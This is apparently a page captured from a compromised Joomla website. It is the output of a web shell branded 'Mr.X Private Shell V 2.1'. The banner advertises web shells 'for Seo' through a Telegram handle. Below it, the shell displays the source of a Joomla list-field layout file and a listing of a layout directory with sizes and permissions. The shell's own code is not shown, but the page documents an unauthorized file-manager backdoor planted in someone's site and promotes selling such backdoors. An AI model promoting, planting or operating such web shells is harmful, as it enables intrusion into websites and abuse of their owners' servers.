__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to. <fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attribute for eg, data-*
*/
$html = [];
$attr = '';
// Initialize the field attributes.
$attr .= !empty($class) ? ' class="form-select ' . $class . '"' : ' class="form-select"';
$attr .= !empty($size) ? ' size="' . $size . '"' : '';
$attr .= $multiple ? ' multiple' : '';
$attr .= $required ? ' required' : '';
$attr .= $autofocus ? ' autofocus' : '';
$attr .= $onchange ? ' onchange="' . $onchange . '"' : '';
$attr .= !empty($description) ? ' aria-describedby="' . ($id ?: $name) . '-desc"' : '';
$attr .= $dataAttribute;
// To avoid user's confusion, readonly="readonly" should imply disabled="disabled".
if ($readonly || $disabled) {
$attr .= ' disabled="disabled"';
}
// Create a read-only list (no name) with hidden input(s) to store the value(s).
if ($readonly) {
$html[] = HTMLHelper::_('select.genericlist', $options, '', trim($attr), 'value', 'text', $value, $id);
// E.g. form field type tag sends $this->value as array
if ($multiple && is_array($value)) {
if (!count($value)) {
$value[] = '';
}
foreach ($value as $val) {
$html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($val, ENT_COMPAT, 'UTF-8') . '">';
}
} else {
$html[] = '<input type="hidden" id="' . $id . '-value" name="' . $name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '">';
}
} else // Create a regular list passing the arguments in an array.
{
$listoptions = [];
$listoptions['option.key'] = 'value';
$listoptions['option.text'] = 'text';
$listoptions['list.select'] = $value;
$listoptions['id'] = $id;
$listoptions['list.translate'] = false;
$listoptions['option.attr'] = 'optionattr';
$listoptions['list.attr'] = trim($attr);
$html[] = HTMLHelper::_('select.genericlist', $options, $name, $listoptions);
}
echo implode($html);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| color | Folder | 0775 |
|
|
| media | Folder | 0775 |
|
|
| modal-select | Folder | 0775 |
|
|
| radio | Folder | 0775 |
|
|
| subform | Folder | 0775 |
|
|
| calendar.php | File | 7.61 KB | 0664 |
|
| checkbox.php | File | 3.22 KB | 0664 |
|
| checkboxes.php | File | 4.18 KB | 0664 |
|
| combo.php | File | 3.02 KB | 0664 |
|
| contenthistory.php | File | 2.97 KB | 0664 |
|
| email.php | File | 3.38 KB | 0664 |
|
| file.php | File | 3.2 KB | 0664 |
|
| groupedlist-fancy-select.php | File | 4.41 KB | 0664 |
|
| groupedlist.php | File | 3.89 KB | 0664 |
|
| hidden.php | File | 2.69 KB | 0664 |
|
| list-fancy-select.php | File | 4.03 KB | 0664 |
|
| list.php | File | 3.91 KB | 0664 |
|
| media.php | File | 7.15 KB | 0664 |
|
| meter.php | File | 3.34 KB | 0664 |
|
| modal-select.php | File | 3.47 KB | 0664 |
|
| moduleorder.php | File | 3.5 KB | 0664 |
|
| number.php | File | 3.33 KB | 0664 |
|
| password.php | File | 6.05 KB | 0664 |
|
| radiobasic.php | File | 4.15 KB | 0664 |
|
| range.php | File | 3.11 KB | 0664 |
|
| rules.php | File | 14.08 KB | 0664 |
|
| tag.php | File | 4.78 KB | 0664 |
|
| tel.php | File | 3.39 KB | 0664 |
|
| text.php | File | 5.44 KB | 0664 |
|
| textarea.php | File | 3.88 KB | 0664 |
|
| time.php | File | 2.98 KB | 0664 |
|
| url.php | File | 3.5 KB | 0664 |
|
| user.php | File | 4.66 KB | 0664 |
|